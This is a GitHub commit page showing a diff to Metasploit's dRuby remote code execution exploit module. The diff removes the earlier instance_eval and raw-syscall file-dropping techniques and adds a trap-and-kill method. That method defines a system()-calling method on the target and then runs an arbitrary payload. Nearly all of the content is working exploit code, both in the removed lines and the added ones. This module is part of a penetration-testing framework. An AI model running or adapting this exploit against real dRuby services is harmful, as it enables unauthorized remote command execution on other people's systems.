Skip to content

Commit 9d0ada9

Browse files
committed
Land rapid7#7749, make drb_remote_codeexec great again
2 parents 524402a + cfca4b1 commit 9d0ada9

File tree

1 file changed

+15
-73
lines changed

1 file changed

+15
-73
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 15 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -10,23 +10,19 @@ class MetasploitModule < Msf::Exploit::Remote
1010

1111
Rank = ExcellentRanking
1212

13-
include Msf::Exploit::FileDropper
14-
1513
def initialize(info = {})
1614
super(update_info(info,
17-
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
15+
'Name' => 'Distributed Ruby Remote Code Execution',
1816
'Description' => %q{
1917
This module exploits remote code execution vulnerabilities in dRuby.
20-
21-
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
22-
In this event, the syscall target is preferred. This can be set with target 1.
2318
},
2419
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
2520
'License' => MSF_LICENSE,
2621
'References' =>
2722
[
2823
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
29-
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
24+
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
25+
[ 'URL', 'http://bugkraut.de/posts/tainting' ]
3026
],
3127
'Privileged' => false,
3228
'Payload' =>
@@ -37,8 +33,7 @@ def initialize(info = {})
3733
'Platform' => 'unix',
3834
'Arch' => ARCH_CMD,
3935
'Targets' => [
40-
['instance_eval', {}],
41-
['syscall', {}]
36+
['Automatic', {}],
4237
],
4338
'DisclosureDate' => 'Mar 23 2011',
4439
'DefaultTarget' => 0))
@@ -58,72 +53,19 @@ class << p
5853
undef :send
5954
end
6055

61-
case target.name
62-
when 'instance_eval'
63-
print_status('Trying to exploit instance_eval')
64-
exploit_instance_eval(p)
65-
when 'syscall'
66-
print_status('Trying to exploit syscall')
67-
exploit_syscall(p)
68-
end
69-
end
70-
71-
def exploit_instance_eval(p)
56+
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
57+
# syscall to decide whether it's 64 or 32 bit:
58+
# it's getpid on 32bit which will succeed, and writev on 64bit
59+
# which will fail due to missing args
7260
begin
73-
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
74-
rescue SecurityError
75-
print_error('instance_eval failed due to security error')
76-
rescue DRb::DRbConnError
77-
print_error('instance_eval failed due to connection error')
61+
pid = p.send(:syscall, 20)
62+
p.send(:syscall, 37, pid, 23)
63+
rescue Errno::EBADF
64+
# 64 bit system
65+
pid = p.send(:syscall, 39)
66+
p.send(:syscall, 62, pid, 23)
7867
end
79-
end
80-
81-
def exploit_syscall(p)
82-
filename = "." + Rex::Text.rand_text_alphanumeric(16)
83-
84-
begin
85-
begin
86-
print_status('Attempting 32-bit exploitation')
87-
# syscall to decide wether it's 64 or 32 bit:
88-
# it's getpid on 32bit which will succeed, and writev on 64bit
89-
# which will fail due to missing args
90-
p.send(:syscall,20)
91-
# syscall open
92-
i = p.send(:syscall,8,filename,0700)
93-
# syscall write
94-
p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
95-
# syscall close
96-
p.send(:syscall,6,i)
97-
# syscall fork
98-
p.send(:syscall,2)
99-
# syscall execve
100-
p.send(:syscall,11,filename,0,0)
101-
102-
# likely 64bit system
103-
rescue Errno::EBADF
104-
print_status('Target is a 64-bit system')
105-
# syscall creat
106-
i = p.send(:syscall,85,filename,0700)
107-
# syscall write
108-
p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
109-
# syscall close
110-
p.send(:syscall,3,i)
111-
# syscall fork
112-
p.send(:syscall,57)
113-
# syscall execve
114-
p.send(:syscall,59,filename,0,0)
115-
end
116-
117-
# not vulnerable
118-
rescue SecurityError
119-
print_error('syscall failed due to security error')
120-
return
121-
rescue DRb::DRbConnError
122-
print_error('syscall failed due to connection error')
123-
return
124-
end
125-
126-
register_files_for_cleanup(filename)
68+
p.send(:my_eval, payload.encoded)
12769
end
12870

12971
end

0 commit comments

Comments
 (0)